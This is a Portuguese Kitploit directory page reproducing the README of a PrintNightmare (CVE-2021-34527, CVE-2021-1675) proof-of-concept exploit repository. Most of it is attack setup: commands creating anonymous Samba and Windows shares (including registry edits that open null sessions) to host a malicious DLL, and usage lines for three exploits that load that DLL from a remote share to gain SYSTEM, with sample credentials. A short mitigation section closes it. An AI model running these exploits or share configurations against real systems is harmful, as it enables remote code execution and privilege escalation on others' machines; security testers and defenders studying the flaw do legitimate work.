Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Exploits de prova de conceito da vulnerabilidade RCE/LPE do Windows Print Spooler (CVE-2021-34527, CVE-2021-1675) | Kitploit
Ferramentas/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubnemo-wq/printnightmare-cve-2021-34527

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PrintNightmare-CVE-2021-34527

PrintNightmare - Exploits de prova de conceito da vulnerabilidade RCE/LPE do Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)

Ver Repositório
1754125há 4 anosRevisado pelo Kitploit

PrintNightmare - Vulnerabilidade RCE/LPE do Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)

Resumo

Esta é uma vulnerabilidade de execução remota de código que pode ser usada para obter privilégios de nível SYSTEM por um usuário remoto autenticado em máquinas Windows que executam o serviço de spooler de impressão. Um atacante poderia então usar esse acesso para criar novas contas, tentar instalar programas; visualizar, alterar ou excluir dados; ou criar novas contas com direitos de usuário completos.

Esta vulnerabilidade existe devido a uma falha de bypass de autorização no serviço Print Spooler spoolsv.exe em sistemas Windows, que permite que usuários remotos autenticados instalem drivers de impressora usando a chamada RPC RpcAddPrinterDriver e especifiquem um arquivo de driver localizado em um local remoto. Um usuário mal-intencionado que explore isso pode obter privilégios de nível SYSTEM em um sistema Windows que execute esse serviço, injetando DLLs maliciosas como parte da instalação de um driver de impressora.

Embora a Microsoft tenha lançado uma atualização para o CVE-2021-1675, essa atualização não protege controladores de domínio do Active Directory nem sistemas Windows que tenham o Point and Print configurado com a opção NoWarningNoElevationOnInstall configurada.

Existem três implementações de PoC de exploit neste repositório:

  • Script Python do CVE-2021-34527 por cube0x0
  • SharpPrintNightmare por cube0x0
  • EXP por afwu (Printnightmare)

Detalhes Técnicos

Sistemas Afetados

  • Todas as versões do Windows contêm o código vulnerável e estão vulneráveis a partir de 4 de julho de 2021. Os exploits foram testados no Windows Server 2019 e no Windows 10 Pro.

Exploits de Prova de Conceito

Como o serviço RPC permite que a máquina cliente forneça um local para os drivers de impressão serem baixados pelo servidor remoto, as seguintes opções de exemplo podem ser usadas para hospedar o payload e o caminho fornecido ao executar o exploit:

Configuração de Compartilhamento Samba

  • Unix/Linux:

    Para configurar o acesso de convidado no Samba, você precisa definir um usuário como o qual ele fingirá fazer login. Garanta que exista um usuário smbuser no sistema; caso contrário, crie um com a senha password

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Edite o /etc/samba/smb.conf e habilite o acesso anônimo

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

As instruções abaixo são ligeiramente atualizadas em relação às fornecidas por cube0x0:

Script Python do CVE-2021-34527

Esta é a implementação Impacket do exploit Printnightmare por cube0x0. Antes de executar o exploit, você precisa instalar uma versão modificada do Impacket:

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Uso do Exploit:

O código de exploit para esta vulnerabilidade precisa ser executado usando Python 3

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

O diretório SharpPrintNightmare/ contém a implementação em C# do exploit Printnightmare, tanto para Escalação de Privilégio Local (LPE – Local Privilege Escalation) (CVE-2021-1675) quanto para Execução Remota de Código (RCE – Remote Code Execution). A funcionalidade de RCE exige execução com privilégios de administrador local na máquina que executa o exploit.

Uso do Exploit:

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

Instruções de Uso do EXP/ por afwu

Uso do Exploit:

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

Mitigação/Soluções Alternativas

Determinar se o serviço Print Spooler está em execução

Execute o seguinte:

root@kitploit:~
Get-Service -Name Spooler

Se o Print Spooler estiver em execução ou se o serviço não estiver definido como desativado, selecione uma das seguintes opções para desativar o serviço Print Spooler ou desativar a impressão remota de entrada através da Política de Grupo:

Opção 1 – Desativar o serviço Print Spooler

Se desativar o serviço Print Spooler for apropriado para a sua empresa, use os seguintes comandos do PowerShell (recomendação da Microsoft):

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

ou desative o serviço Spooler usando o registro

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

ou desinstale o Print-Services

root@kitploit:~
Uninstall-WindowsFeature Print-Services

Isso desativará a capacidade de imprimir tanto local quanto remotamente.

Opção 2 – Desativar a impressão remota de entrada através da Política de Grupo

Você também pode definir as configurações por meio da Política de Grupo da seguinte forma:

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

Desative a política “Permitir que o Print Spooler aceite conexões de clientes:” para bloquear ataques remotos.

Essa política bloqueará o vetor de ataque remoto ao impedir operações de impressão remota de entrada. O sistema não funcionará mais como servidor de impressão, mas a impressão local para um dispositivo conectado diretamente ainda será possível.

Para obter mais informações, consulte: Use Configurações da Política de Grupo para controlar impressoras.

Agradecimentos

  • De acordo com o boletim de segurança da MSRC, esta vulnerabilidade foi reportada por Zhipeng Huo, Piotr Madej e Zhang Yunhai.
  • cube0x0
  • afwu
Baixar ferramenta